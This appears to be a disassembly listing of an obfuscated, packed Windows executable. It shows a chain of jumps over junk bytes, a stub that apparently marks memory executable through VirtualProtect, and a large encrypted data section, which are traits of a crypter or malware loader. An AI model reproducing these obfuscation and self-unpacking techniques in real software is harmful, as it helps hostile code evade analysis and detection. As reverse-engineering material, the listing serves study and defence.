loc_429AEA:				; CODE XREF: DMN0:00429ADEj
		jmp	short loc_429B09
; ---------------------------------------------------------------------------
		dd 0FFD042A8h, 3A9243A7h, 0FAE701CAh, 142F4FAEh, 0DCDE8BCEh
		dd 6A857843h, 752C0D59h
		db 1Ah
; ---------------------------------------------------------------------------


loc_429B09:				; CODE XREF: DMN0:loc_429AEAj
		jmp	short loc_429B1F
; ---------------------------------------------------------------------------
		db 0E3h
		dd 9025AFBEh, 0AC22EF71h, 0CC2116A3h, 1C9FE6D3h
		db 9, 0AEh, 18h
; ---------------------------------------------------------------------------


loc_429B1F:				; CODE XREF: DMN0:loc_429B09j
		jmp	short loc_429B30
; ---------------------------------------------------------------------------
		pushf
		mov	edx, 58BAF49Eh
		xor	al, 0B7h
		or	edi, [eax-426152B2h]
		retn
; ---------------------------------------------------------------------------


loc_429B30:				; CODE XREF: DMN0:loc_429B1Fj
		jmp	short loc_429B49
; ---------------------------------------------------------------------------
		dw 150h
		dd 0A73AB811h, 4D2E7591h, 985EDFDFh, 0F110B925h, 0FCA8FA89h
		db 0F7h
; ---------------------------------------------------------------------------


loc_429B49:				; CODE XREF: DMN0:loc_429B30j
		mov	[eax], ebp
		jmp	short loc_429B60
; ---------------------------------------------------------------------------
		retn	0B71Ah
; ---------------------------------------------------------------------------
		das
		sbb	dl, 3
		adc	al, [edx+eax*8-2Dh]
		mov	esi, 0B19BB05Ah
		retn	31F1h
; ---------------------------------------------------------------------------


loc_429B60:				; CODE XREF: DMN0:00429B4Bj
		jmp	short $+2
		jmp	short loc_429B83
; ---------------------------------------------------------------------------
aRnqQrlnfLNHsps	db 9,'ï',0Ah
		db 'QL­fÁL~N#hápè¼-´',0
		db 0B1h
		dd 73F7A458h
		db 32h,	9Eh, 3
; ---------------------------------------------------------------------------


loc_429B83:				; CODE XREF: DMN0:00429B62j
		cmc
		jmp	short loc_429BA0
; ---------------------------------------------------------------------------
		dw 15E6h
		dd 68CB63A0h, 0E83D26Ch, 0FF9FBC7Ah, 5CB38C16h,	0C1ECBECDh
		dd 5521EDB6h
; ---------------------------------------------------------------------------


loc_429BA0:				; CODE XREF: DMN0:00429B84j
		jmp	short loc_429BA9
; ---------------------------------------------------------------------------
		dw 0CD5Bh
		dd 79A44096h
		db 81h
; ---------------------------------------------------------------------------


loc_429BA9:				; CODE XREF: DMN0:loc_429BA0j
		jmp	short loc_429BB0
; ---------------------------------------------------------------------------
		db 0F8h
		dd 4A5F46EEh
; ---------------------------------------------------------------------------


loc_429BB0:				; CODE XREF: DMN0:loc_429BA9j
		xchg	edi, ebx
		jmp	short loc_429BC4
; ---------------------------------------------------------------------------
		dd 0AF61FBBFh, 0D885E4CFh, 0ED38B526h, 68E478AEh
; ---------------------------------------------------------------------------


loc_429BC4:				; CODE XREF: DMN0:00429BB2j
		jmp	short loc_429BE1
; ---------------------------------------------------------------------------
		dw 2B01h
		dd 5DE7C15h, 0A59E7241h, 0F3CD22A6h, 0CA2B486Ch, 7087FE52h
		dd 0E03AE9h
; ---------------------------------------------------------------------------
		aaa


loc_429BE1:				; CODE XREF: DMN0:loc_429BC4j
		jmp	short loc_429BED
; ---------------------------------------------------------------------------
		db 92h
		dd 8E28F31Eh, 305B4A31h
; ---------------------------------------------------------------------------
		xchg	eax, ecx


loc_429BED:				; CODE XREF: DMN0:loc_429BE1j
		stc
		jmp	short loc_429C0B
; ---------------------------------------------------------------------------
		dd 738647F3h, 0F393A422h, 0AA14391Ch, 3E5D60E1h, 15FF386Fh
		dd 0ECBC10BDh
		db 7Fh,	0FAh, 5Eh
; ---------------------------------------------------------------------------


loc_429C0B:				; CODE XREF: DMN0:00429BEEj
		xor	ebp, 85E089B9h
		jmp	short loc_429C28
; ---------------------------------------------------------------------------
		db 4Dh
		dd 0ACC0AAF4h, 0BA6530B1h, 0AF5F48A3h, 32C58C98h, 4CA12A40h
; ---------------------------------------------------------------------------


loc_429C28:				; CODE XREF: DMN0:00429C11j
		inc	esp
		jmp	short $+2
		jmp	short loc_429C30
; ---------------------------------------------------------------------------
		db 6Dh,	95h, 0D5h
; ---------------------------------------------------------------------------


loc_429C30:				; CODE XREF: DMN0:00429C2Bj
		jmp	short loc_429C36
; ---------------------------------------------------------------------------
		dw 2588h
		db 1Ah,	6Fh
; ---------------------------------------------------------------------------


loc_429C36:				; CODE XREF: DMN0:loc_429C30j
		xchg	ebx, ebp
		xchg	ebx, edx
		jmp	short loc_429C4C
; ---------------------------------------------------------------------------
		dd 8BC15C3Ch, 2615BA1h,	0EEEDFC2Fh, 0B03ECA04h
; ---------------------------------------------------------------------------


loc_429C4C:				; CODE XREF: DMN0:00429C3Aj
		jmp	short loc_429C6B
; ---------------------------------------------------------------------------
		dw 622h
		dd 0C2ACEDC9h, 0E31A5692h, 9EE87F80h, 0CF1B9896h, 74CFA9E3h
		dd 0AB449395h
		db 0B9h, 0F1h, 0D0h
; ---------------------------------------------------------------------------


loc_429C6B:				; CODE XREF: DMN0:loc_429C4Cj
		jmp	short loc_429C81
; ---------------------------------------------------------------------------
		db 0B4h, 0A7h, 74h
		dd 8AFDDD76h, 2534EB02h, 0DA202F02h, 0D157F94Ah
		db 0A9h
; ---------------------------------------------------------------------------


loc_429C81:				; CODE XREF: DMN0:loc_429C6Bj
		jmp	short loc_429C96
; ---------------------------------------------------------------------------
		db 99h
		dd 0CD98011Dh, 519218C4h, 644FCA06h, 9CA995BEh
		db 0C7h, 0B2h
; ---------------------------------------------------------------------------


loc_429C96:				; CODE XREF: DMN0:loc_429C81j
		jmp	short loc_429CA3
; ---------------------------------------------------------------------------
		dd 50772008h, 0DE445483h
		db 9Ah,	0, 22h
; ---------------------------------------------------------------------------


loc_429CA3:				; CODE XREF: DMN0:loc_429C96j
		jmp	short loc_429CA9
; ---------------------------------------------------------------------------
		db 57h,	0DFh, 8Eh
		db 79h
; ---------------------------------------------------------------------------


loc_429CA9:				; CODE XREF: DMN0:loc_429CA3j
		jmp	short loc_429CC6
; ---------------------------------------------------------------------------
		db 0EFh
		dd 62717B12h, 7FE73025h, 46B766CDh, 0CC0FBF2Ch,	0E2D7EB9Fh
		dd 6B95D7Fh
		db 0E1h, 96h
; ---------------------------------------------------------------------------


loc_429CC6:				; CODE XREF: DMN0:loc_429CA9j
		jmp	short loc_429CCA
; ---------------------------------------------------------------------------
		db 5Eh,	0C1h
; ---------------------------------------------------------------------------


loc_429CCA:				; CODE XREF: DMN0:loc_429CC6j
		xchg	esp, ebx
		jmp	short loc_429CDF
; ---------------------------------------------------------------------------
		dw 8554h
		dd 855B313Dh, 0B8A08256h, 30E336E9h
		db 0, 0B2h, 0E1h
; ---------------------------------------------------------------------------


loc_429CDF:				; CODE XREF: DMN0:00429CCCj
		add	ebx, 2
		sub	edi, 60A6F7ADh
		cld
		shr	edi, 8Ah
		jmp	short loc_429CFF
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 89h
		dd 0EEB5487Bh, 0BBDD2F11h, 61B7FC01h
		db 9Fh,	22h, 58h
; ---------------------------------------------------------------------------


loc_429CFF:				; CODE XREF: DMN0:00429CECj
		jmp	short loc_429D04
; ---------------------------------------------------------------------------
		db 0EFh, 95h, 0C2h
; ---------------------------------------------------------------------------


loc_429D04:				; CODE XREF: DMN0:loc_429CFFj
		jmp	short loc_429D0E
; ---------------------------------------------------------------------------
		dw 1ED9h
		dd 31CDF578h
; ---------------------------------------------------------------------------
		mov	cl, 77h


loc_429D0E:				; CODE XREF: DMN0:loc_429D04j
		jmp	short loc_429D27
; ---------------------------------------------------------------------------
		dd 8D556BECh, 12F6CE21h, 1F767528h, 4358C03Ch, 8A5E9BECh
		db 0A3h, 0D6h, 0EAh
; ---------------------------------------------------------------------------


loc_429D27:				; CODE XREF: DMN0:loc_429D0Ej
		add	ebx, 1
		jmp	short loc_429D2F
; ---------------------------------------------------------------------------
		pop	eax
		jno	short loc_429D36


loc_429D2F:				; CODE XREF: DMN0:00429D2Aj
		xchg	esp, ebx
		xchg	ebx, edi
		xchg	esi, ecx
		cld


loc_429D36:				; CODE XREF: DMN0:00429D2Dj
		stc
		jmp	short loc_429D3D
; ---------------------------------------------------------------------------
		db 71h,	0EAh, 4Ah
		db 0C2h
; ---------------------------------------------------------------------------


loc_429D3D:				; CODE XREF: DMN0:00429D37j
		jmp	short loc_429D5C
; ---------------------------------------------------------------------------
		db 81h
		dd 9AA3E47Bh, 535E10F7h, 8103BD56h, 0FB7C0D63h,	9B06D0D1h
		dd 954EEB6Dh, 8AFD913Ch
; ---------------------------------------------------------------------------


loc_429D5C:				; CODE XREF: DMN0:loc_429D3Dj
		jmp	short loc_429D5F
; ---------------------------------------------------------------------------
		db 0BCh
; ---------------------------------------------------------------------------


loc_429D5F:				; CODE XREF: DMN0:loc_429D5Cj
		jmp	short loc_429D7C
; ---------------------------------------------------------------------------
		db 44h,	0CCh, 6
		dd 9A57h, 0BCE62CE7h, 73FFE755h, 91BAA70Eh, 0F889DD26h
		dd 0EAD5BEB3h
; ---------------------------------------------------------------------------


loc_429D7C:				; CODE XREF: DMN0:loc_429D5Fj
		xchg	edi, ecx
		jmp	short loc_429D9A
; ---------------------------------------------------------------------------
		dd 0BF232862h, 61FE6895h, 0B149DE5h, 4B20217Ah,	0EA3F9427h
		dd 0B4E6D1A4h
		db 35h,	11h
; ---------------------------------------------------------------------------


loc_429D9A:				; CODE XREF: DMN0:00429D7Ej
		jmp	short loc_429DB4
; ---------------------------------------------------------------------------
		dd 867BAD0Eh, 0D9A42C92h, 0CA7B3331h, 17E63AA0h, 7F2CB0F7h
		dd 6D3DB020h
; ---------------------------------------------------------------------------


loc_429DB4:				; CODE XREF: DMN0:loc_429D9Aj
		jmp	short loc_429DBD
; ---------------------------------------------------------------------------
		dw 6825h
		dd 0CFA3C36Bh
		db 0B4h
; ---------------------------------------------------------------------------


loc_429DBD:				; CODE XREF: DMN0:loc_429DB4j
		jmp	short loc_429DD1
; ---------------------------------------------------------------------------
		db 0D8h
		dd 5C575FEDh, 50D9FF7Ch, 190359E3h, 28BA83ABh
; ---------------------------------------------------------------------------
		inc	ebx


loc_429DD1:				; CODE XREF: DMN0:loc_429DBDj
		sub	ebp, 1
		jz	short loc_429E23
		dec	edx
		xchg	ebp, esp
		stc
		jmp	short loc_429DF2
; ---------------------------------------------------------------------------
		dd 0C094AEC1h, 0BE9CD4ECh, 49D7C000h, 5842F053h, 93AB4FCFh
; ---------------------------------------------------------------------------
		push	ebx
		push	edi


loc_429DF2:				; CODE XREF: DMN0:00429DDAj
		jmp	short loc_429DF9
; ---------------------------------------------------------------------------
		dd 3C8034E8h
		db 22h
; ---------------------------------------------------------------------------


loc_429DF9:				; CODE XREF: DMN0:loc_429DF2j
		xchg	edx, esp
		clc
		xor	edi, 9945EE68h
		jmp	short loc_429E19
; ---------------------------------------------------------------------------
		dd 239FBEA3h, 46BBF81Bh, 0E7CBD8B9h, 0D40CFC73h, 12E93F11h
		db 6Eh
; ---------------------------------------------------------------------------


loc_429E19:				; CODE XREF: DMN0:00429E02j
		xchg	eax, ecx
		clc
		xchg	esp, esi
		jmp	loc_4295D1
; ---------------------------------------------------------------------------


loc_429E23:				; CODE XREF: DMN0:00429DD4j
		xchg	ebp, ecx
		xchg	esp, esi
		jmp	short loc_429E32
; ---------------------------------------------------------------------------
		db 0D8h, 0FBh, 0CFh
		dd 0E60EA1B1h
		db 0A1h, 5Ch
; ---------------------------------------------------------------------------


loc_429E32:				; CODE XREF: DMN0:00429E27j
		cld
		jmp	short loc_429E4B
; ---------------------------------------------------------------------------
		jnp	short loc_429E74
		adc	eax, 0AFA7F218h
		pop	ecx
		push	cs
		paddusb	mm1, mm6
		mov	ds:0EBE94B41h, al
		mov	edx, 2B270FB2h


loc_429E4B:				; CODE XREF: DMN0:00429E33j
		jmp	short loc_429E68
; ---------------------------------------------------------------------------
		db 0B3h, 58h, 3Fh
		dd 0F574A20Fh, 926ECC21h, 0AEB74D39h, 0ACFD7C03h, 7E4FF7A2h
		dd 48DBE18Ch
; ---------------------------------------------------------------------------


loc_429E68:				; CODE XREF: DMN0:loc_429E4Bj
		jmp	short loc_429E83
; ---------------------------------------------------------------------------
		dw 7CBDh
		dd 7C2FE221h, 0B18D2625h
; ---------------------------------------------------------------------------


loc_429E74:				; CODE XREF: DMN0:00429E35j
		sub	[edi-72h], ch
		clc
		or	edx, [ebx]
		das
		cmp	al, 6Dh		; CODE XREF: DMN0:loc_429E8Dj
		jz	short loc_429E99
		sbb	ecx, eax
		aas
		inc	ecx


loc_429E83:				; CODE XREF: DMN0:loc_429E68j
		cmc
		jmp	short loc_429E90
; ---------------------------------------------------------------------------
		dw 0A688h
		dd 0A8252E3Bh
		db 0D2h
; ---------------------------------------------------------------------------


loc_429E8D:				; CODE XREF: DMN0:00429EA7j
		jnz	short near ptr loc_429E7B+1
		xchg	eax, edx


loc_429E90:				; CODE XREF: DMN0:00429E84j
		jmp	short loc_429EAB
; ---------------------------------------------------------------------------
		dw 0F0ADh
; ---------------------------------------------------------------------------
		and	eax, 23D5A4AFh


loc_429E99:				; CODE XREF: DMN0:00429E7Dj
		or	[ebx-1], ebx
		push	eax
		sub	al, 0E5h
		rep mov	dword ptr [ebx+11h], 32A5AE46h
		jecxz	short loc_429E8D
		add	ebp, edi


loc_429EAB:				; CODE XREF: DMN0:loc_429E90j
		jmp	short loc_429EBC
; ---------------------------------------------------------------------------
		db 0CDh, 0C2h, 0B5h
		dd 9ACA49D1h, 87736F27h, 7558B6D7h
; ---------------------------------------------------------------------------


loc_429EBC:				; CODE XREF: DMN0:loc_429EABj
		jmp	short $+2
		jmp	short loc_429ED7
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 6Ch,	0F5h, 10h
		dd 5D807297h, 2A33A381h, 9D557BFh, 4B741090h
		db 0A0h, 0F9h, 98h
; ---------------------------------------------------------------------------


loc_429ED7:				; CODE XREF: DMN0:00429EBEj
		jmp	short loc_429EED
; ---------------------------------------------------------------------------
		mov	eax, 4294785Ch
		cmp	ah, dl
		retn	0AEF2h
; ---------------------------------------------------------------------------
		db 83h
		dd 0B29C237Bh, 7328054Fh
		db 84h
; ---------------------------------------------------------------------------


loc_429EED:				; CODE XREF: DMN0:loc_429ED7j
		stc
		jmp	short loc_429EFD
; ---------------------------------------------------------------------------
		dd 0C711EDC5h, 0E3CDED92h, 95FF016Eh
		db 2
; ---------------------------------------------------------------------------


loc_429EFD:				; CODE XREF: DMN0:00429EEEj
		jmp	short loc_429F0F
; ---------------------------------------------------------------------------
		db 80h
		db 90h
		db 9Eh,	0D4h, 0B9h
		dd 0F05B838Ch, 0FCCF7D53h
		db 46h,	6Ch, 3Bh
; ---------------------------------------------------------------------------


loc_429F0F:				; CODE XREF: DMN0:loc_429EFDj
		pop	edi
		jmp	short loc_429F1D
; ---------------------------------------------------------------------------
		dw 1320h
		dd 0E56FC12Fh, 0BF4FC0Ch
		db 90h
; ---------------------------------------------------------------------------


loc_429F1D:				; CODE XREF: DMN0:00429F10j
		cmc
		jmp	short loc_429F2D
; ---------------------------------------------------------------------------
		dd 9036961Fh, 63487334h, 6D9BDF77h
		db 0A9h
; ---------------------------------------------------------------------------


loc_429F2D:				; CODE XREF: DMN0:00429F1Ej
		jmp	short loc_429F4A
; ---------------------------------------------------------------------------
		db 0E4h
		dd 0DCA57299h, 0E300B846h, 0ABE734Fh, 4EF378ECh, 0F2D0CC46h
		dd 306C92F1h
		db 73h,	7Fh
; ---------------------------------------------------------------------------


loc_429F4A:				; CODE XREF: DMN0:loc_429F2Dj
		jmp	short loc_429F6A
; ---------------------------------------------------------------------------
		dd 0B1A543ADh, 5D2E1A73h, 0B2817833h, 0EFD439D8h, 0FBA4FA98h
		dd 89966B27h, 0C4113030h
		db 18h,	4Dh
; ---------------------------------------------------------------------------


loc_429F6A:				; CODE XREF: DMN0:loc_429F4Aj
		jmp	short loc_429F82
; ---------------------------------------------------------------------------
		dd 0DA5EBD67h, 3B194784h, 388FF712h, 0DD4AC1CCh, 0EC5F256h
		db 51h,	7Fh
; ---------------------------------------------------------------------------


loc_429F82:				; CODE XREF: DMN0:loc_429F6Aj
		shl	ebx, 19h
		jmp	loc_428F6B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429F8A	proc near		; CODE XREF: DMN0:00429FF4p

var_24		= dword	ptr -24h
var_18		= byte ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	edx, 391E7942h
		xor	edx, 5FF57DEDh
		mov	eax, 10000000h
		add	edx, eax
		add	esp, 10h
		mov	ebp, [esp-10h+arg_4]
		push	edx
		pusha
		push	0
		lea	edx, [esp+18h+var_18]
		push	edx
		push	40h
		push	15B32h
		add	[esp+24h+var_24], 1000h
		push	eax
		add	eax, 1000h
		add	eax, 46023h
		call	dword ptr [eax]
		add	esp, 4
		popa
		retn
sub_429F8A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, 8000h
		mov	edx, 4C271B38h
		mov	eax, 383D2E0Bh


loc_429FE4:				; CODE XREF: DMN0:00429FF1j
		add	eax, 19776617h
		xor	edx, eax
		add	dx, ax
		rol	edx, 7
		loop	loc_429FE4
		push	eax
		call	sub_429F8A
		leave
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 17h dup(0)
		dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h
		dd 506C6175h, 65746F72h, 7463h,	0E000470h, 470h, 6B000000h
		dd 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0)
		dd 0FFFFFFFFh, 4702Bh, 4701Fh, 5 dup(0)
		dd 46000h, 10h,	3B45h, 5BCFh dup(0)
DMN0		ends

; Section 2. (virtual address 00041000)
; Virtual size			: 0002C78F ( 182159.)
; Section size in file		: 0002C78F ( 182159.)
; Offset to raw	data for section: 00041000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
DMN1		segment	para public 'CODE' use32
		assume cs:DMN1
		;org 441000h
		assume es:nothing, ss:nothing, ds:DMN0,	fs:nothing, gs:nothing
		dd 93CBF6DDh, 276F1CD5h, 0BB2385A5h, 0FD3697h, 88C18394h
		dd 0EF4DDDB0h, 0C8BE8910h, 47F66B8Eh, 30A43276h, 4475C33h
		dd 4944756Fh, 97F038Dh,	9E6C0F5Ah, 0FD130DB0h, 35A1E371h
		dd 4E595D05h, 62806DFEh, 0E7C23493h, 91DA6B2Ah,	3EEE541Bh
		dd 0BDA3806h, 42DC686Dh, 0F27AF8ADh, 7B48A652h,	2523584Fh
		dd 2FB077A2h, 83DF3F91h, 9F3A9268h, 27DBC16Fh, 0FE174DF5h
		dd 0F7DE82FBh, 0EF592A27h, 7A6CAA06h, 1AC9FA63h, 0B8AA6F9Eh
		dd 27DB2112h, 25611AA6h, 45FDC455h, 0B64ECBC8h,	2B06C168h
		dd 2163B632h, 6413F73Bh, 8EA2833Ah, 0BAD62756h,	0DF098326h
		dd 5285EF2Eh, 0C3B54490h, 19AD2044h, 70D2BFF6h,	0BB99F543h
		dd 2A617A2Fh, 88E1D128h, 0A4C39014h, 0CD7BE57Dh, 13B06ED6h
		dd 2BCB1844h, 3ED684EEh, 4E074D6Ah, 554CEDF0h, 0E434A38Ch
		dd 0D9A3EBA7h, 5880CA28h, 0AABF1721h, 36CF6336h, 0ECC3FF30h
		dd 0BE420942h, 0FAB2D8A1h, 60FE1E52h, 2431674Ch, 42C94B8Eh
		dd 94256F7Dh, 0D1D46FF0h, 0FEB76E5Eh, 72BE9695h, 5623F0DEh
		dd 1CA9F6Ch, 0A47CD68Ch, 632BE2E9h, 9E257E23h, 69B8807Eh
		dd 17B0AF62h, 8DF52E0h,	81F082F3h, 8CB17614h, 93FE36B4h
		dd 6915693Ch, 0C6B76A33h, 71226229h, 0F2A092B6h, 8823495Dh
		dd 0CE2AB694h, 426FCEBDh, 9104C3D2h, 1A619FDAh,	4FDC9008h
		dd 974B780Dh, 740BB5A5h, 0D658937h, 39BD298Ch, 0E2C5FAA2h
		dd 0CE569EC6h, 0AB60E90Bh, 73BC6A0Ch, 0CF5F014Fh, 0E6FBA0FCh
		dd 1BD02310h, 52D3147Fh, 0D313271Fh, 5C09019Ah,	25B3FAEBh
		dd 3BB3952Eh, 0B789807Bh, 0F920A25Eh, 0C95AC9AEh, 0C965E617h
		dd 8602993Bh, 6224A07Ch, 627C1875h, 0C7CB0378h,	0CCCB6EFh
		dd 15F37DBh, 93B9A1E2h,	7481B687h, 5524BBEDh, 463DEE1Ah
		dd 9E42205Ch, 9C542A3Dh, 6F7F3472h, 210D5D76h, 535B67EEh
		dd 65CFD8DBh, 0A01FF642h, 0BC3D16D7h, 0A155E6ABh, 0FD1BFE44h
		dd 6DDDBC04h, 4BB76F72h, 0CE2DC567h, 0A7CFB20Ah, 57FF3C10h
		dd 3A7F3FA8h, 80EB8AE0h, 23EBFA5Fh, 6180E328h, 0F1A09109h
		dd 0BE6D6CE0h, 0FC900467h, 730B0C07h, 3D1AA5E0h, 4EDECF9Ah
		dd 0A2464E5h, 0A970DEE0h, 93352C01h, 55C38709h,	0EC6560F4h
		dd 0DBDB9CA5h, 0B03CD4A0h, 5114FA1Dh, 0DED08E5Ah, 9BF81319h
		dd 0BB774861h, 0B791E7FEh, 396BE567h, 1942F060h, 261201EDh
		dd 88FE73A1h, 16DD1514h, 0F4525Ch, 91AB197h, 0D4BE539Dh
		dd 560BB41Eh, 2304C0E7h, 4EB8C20Dh, 12C5DC2Fh, 17449FDh
		dd 0AB5D35DAh, 11EB6F24h, 0E0DEB739h, 0E7C534AFh, 681A9090h
		dd 625B648Ah, 73E41361h, 0B54D610Fh, 0C8B26E69h, 14B02F5h
		dd 0B24CED47h, 0C3E247FEh, 5F443FF3h, 940164ABh, 2261BE5Bh
		dd 0BAD4C70Bh, 93240025h, 885C49ADh, 0E1CB12D7h, 9FFFDDD0h
		dd 953BADE2h, 915E9938h, 271F8393h, 0CAC4232Bh,	0E9DA4346h
		dd 737D48F9h, 321F2E6Fh, 0C1553493h, 0FA4EBDDEh, 0FD0BD4AAh
		dd 0BDC37087h, 8AC7CDBCh, 5B85D809h, 4016ADF3h,	3063F69Ch
		dd 0DE344A7Dh, 0DB4DEF8Eh, 0C427E8F0h, 0D743617Fh, 7BF843B1h
		dd 0CDB22585h, 0B9EF3795h, 3445BAFFh, 0D677402Ah, 0A688AF7Fh
		dd 0A2418658h, 8E3CDC7Eh, 33FEDA5Fh, 5D30BA44h,	0A2CDBC5Eh
		dd 16CA8540h, 0EE3E52F0h, 5BD277D1h, 0D4CC007Bh, 1D5C5C83h
		dd 0D9E43EB6h, 3888C649h, 0F4B601B8h, 45CE7768h, 92E25099h
		dd 1C7493D7h, 54ACD39Ch, 0EC4E2F5Dh, 25ACAC93h,	813A27B9h
		dd 0CD6FF4DFh, 1E31490Bh, 37730BB8h, 94209AC0h,	0D39A397Dh
		dd 3B2FD389h, 0E204ABC6h, 8E5558C0h, 0F0F6E154h, 419FCAA9h
		dd 709CE5DAh, 67871D70h, 8F32F9EDh, 0C6E4C03Ch,	0EC62FADEh
		dd 2FAFD8DBh, 88F4A92Dh, 0C2DCD6BDh, 2641D9Bh, 15566085h
		dd 0D0CC0725h, 2EC802EAh, 0B9D62292h, 0D79F40B9h, 0A2DB9878h
		dd 0F7CE1EB8h, 0DE3C3033h, 0DD698DC5h, 0CB05D7CBh, 2A3E9C7Ch
		dd 0E0C26FD2h, 5C5A3051h, 5A253158h, 0E00DE29Ah, 57FCA299h
		dd 50D37335h, 9ED6400Ah, 129DDB94h, 0C97F87E9h,	35A081CCh
		dd 0AAC9C457h, 0CF2F5DBEh, 4685165Ch, 39B2D4E8h, 48E348FEh
		dd 6EACBD41h, 0BC3E67FDh, 0E7001819h, 0A5BFFD41h, 958DA33Dh
		dd 8143324Ch, 5ED90B6Bh, 33F3A2BBh, 0A8322EBEh,	0D3BD3337h
		dd 0F231450Ah, 65B6E835h, 42467CCBh, 0D9256C90h, 0C223D64Fh
		dd 66A54449h, 628AF47Bh, 9FDCA534h, 2548D94Fh, 0CFEB4626h
		dd 48520FF4h, 2911940h,	86D61FE5h, 0BB41D739h, 37A12BF2h
		dd 8DE0C20Bh, 6556747Fh, 5B2409C4h, 5E524762h, 0EDD82FCAh
		dd 53A55C76h, 9DFD0DE6h, 2444AEF2h, 44A7C99Fh, 0BFEAAC5h
		dd 31E231B4h, 972EA85Fh, 5F094FCh, 7E2C55EEh, 0E81A60Dh
		dd 0FF77922Fh, 3D51369Ch, 0F6F87247h, 0FF532097h, 8655BB59h
		dd 0BD965E3Bh, 297DB5A4h, 0A2C64206h, 5BAC10B4h, 3BC5EC69h
		dd 1B736A64h, 695A5D6Ch, 886C015Bh, 0A3F02C79h,	0E480538Ah
		dd 0AE7ED472h, 0FBB5BE5h, 24C5C785h, 77444D09h,	5FBB395Dh
		dd 0B8C1E845h, 192755CAh, 0CCA2BEDEh, 8D659484h, 0AE11E270h
		dd 29546EB0h, 824CE1E4h, 5388E36h, 37062ECCh, 0FA1440CDh
		dd 0CD2BFA8Fh, 8B5D47DBh, 0E71A03E3h, 59B3683Ch, 5B29EBBBh
		dd 53CA14EAh, 1CE9CF88h, 7CC06CB0h, 76416C40h, 3AE00F03h
		dd 905FC726h, 81467585h, 78922AC4h, 0CA24CB4Dh,	0AFE030DBh
		dd 7EBB18EFh, 0F0F3338h, 0F203983Ch, 2AD0E79Eh,	672BEE23h
		dd 386AA7FBh, 0F25F642h, 92B1B546h, 0C1950DFAh,	8D40F6C1h
		dd 0F2728F48h, 51A541A2h, 6B69D6A0h, 0E5157686h, 0E48D02B7h
		dd 2D7B6C64h, 0D4BC83C9h, 5E97F8A6h, 0AA829ADEh, 724600A4h
		dd 0DA6BB583h, 0E92C2D5Bh, 7DA4543Fh, 98762F76h, 0B16FEE54h
		dd 1EF5A5C2h, 17B2C3DEh, 1E1A372Fh, 0A4E38CCEh,	7621FA49h
		dd 5F2E6883h, 4CCCC5h, 0E94FC658h, 2E8D588Eh, 0B0893983h
		dd 0C25D8505h, 44B9A0F1h, 0A382A041h, 234E62FBh, 0F64A186Dh
		dd 5AEB1FA9h, 13F11F9Ah, 91A1D3F9h, 1E5FF9F6h, 4948D7C3h
		dd 0D1C2ECA9h, 0D9661363h, 0B38AB38h, 3FA32FDEh, 0CD42B0DEh
		dd 47F982Fh, 0FF1ADB2Bh, 776C70E4h, 73F1ABFAh, 0E7FC87B1h
		dd 0E343449Ah, 0EB034FE7h, 446C979h, 293C72BEh,	878BD0A5h
		dd 194A4645h, 769F3564h, 71B68B9Bh, 0FFE7BD1Bh,	0ADC6BEBCh
		dd 1CB551C4h, 5ABFC77Dh, 377C9EA7h, 5C9FBE6h, 57421327h
		dd 0C86E8AFDh, 8D82FD99h, 916E5D9Bh, 74B47C60h,	6F89512Bh
		dd 0E91A32Ah, 6C47AAAAh, 0CC1A42D9h, 5C82EFC6h,	97914F3Bh
		dd 9DFC5287h, 686C1FDCh, 86791221h, 0CC2133Dh, 0AC39D89Fh
		dd 318DD515h, 4C1B0E32h, 0CA0313F5h, 5E767C1h, 0FF60AF31h
		dd 37F62D47h, 0AEA7996h, 0F17FC32h, 0CF133677h,	33A9838Bh
		dd 0A4C150B3h, 0CB977D32h, 33365782h, 1FCAE010h, 0B38BAE4Ch
		dd 0CC92A603h, 48D69A16h, 3D8E3589h, 3F05B0C3h,	40CAAA13h
		dd 0BB85856Eh, 97CBB2E6h, 91ED8750h, 0ED5F6550h, 3F57EFBCh
		dd 0D4DDC5DFh, 0DA85E623h, 3826BA3Fh, 0C900E7F0h, 641BAD35h
		dd 0E2BBB27Eh, 4ED8FA42h, 0BD17293Bh, 629122F5h, 4B1878C4h
		dd 746F239Dh, 0B8806C46h, 0C679B016h, 1A432D0Dh, 0DF18C760h
		dd 2758E2D9h, 0D9FF4B7Fh, 672570B2h, 0FBC04C81h, 38F3B87h
		dd 0C3493D34h, 0A6D9E5Ah, 0D40DD18Eh, 0A66C6E8Fh, 0CAE8F9h
		dd 774B6CB3h, 1DFBD74Fh, 0DCA3EDE0h, 884B2151h,	4F886A6Fh
		dd 0B52294Fh, 5A598DE8h
		dd 295F8CC4h, 0F58AB6AAh, 663EB6D2h, 66739747h,	3132AEA4h
		dd 0ABF0B0CCh, 0F31B13C1h, 83109989h, 2C2BED51h, 0A59C0A82h
		dd 13D700BFh, 58ED8410h, 8618136Eh, 4265BB8Ch, 9C960BFEh
		dd 3FD78DFEh, 0B63A66FBh, 0AAA1D947h, 956F7C13h, 13CD7247h
		dd 3A38F35Bh, 0F63436C9h, 70661519h, 0C2F39D4Bh, 0F7C6329Ah
		dd 82FCF26Ah, 1B09B4F6h, 74AB0329h, 0C1D301B6h,	92A99C8Eh
		dd 689300Ah, 0D614BF6h,	82B0BE99h, 90228D12h, 0A6411631h
		dd 1C999AF5h, 3CA5821Fh, 4B625464h, 840FF456h, 7172E1A5h
		dd 66A249A8h, 76280F09h, 0B412C3B5h, 35DA72A5h,	5B45970Bh
		dd 45CC3555h, 7714899Ah, 40C46BEEh, 86A54781h, 0CBABFBFh
		dd 9B94FB0Ah, 0A7F39D02h, 6D9DE81Bh, 8E14C68Eh,	0BFC87AE6h
		dd 0B8BBCC36h, 7F74BC2Ah, 4BF60A19h, 0A0AFE7D5h, 382A3809h
		dd 988B3FBh, 0F3B5B7A4h, 0BED2F31Dh, 0CDF8D46h,	6FFF98DBh
		dd 3569B457h, 0B8802639h, 0BF474D75h, 6F86EA35h, 58E7EF2Ah
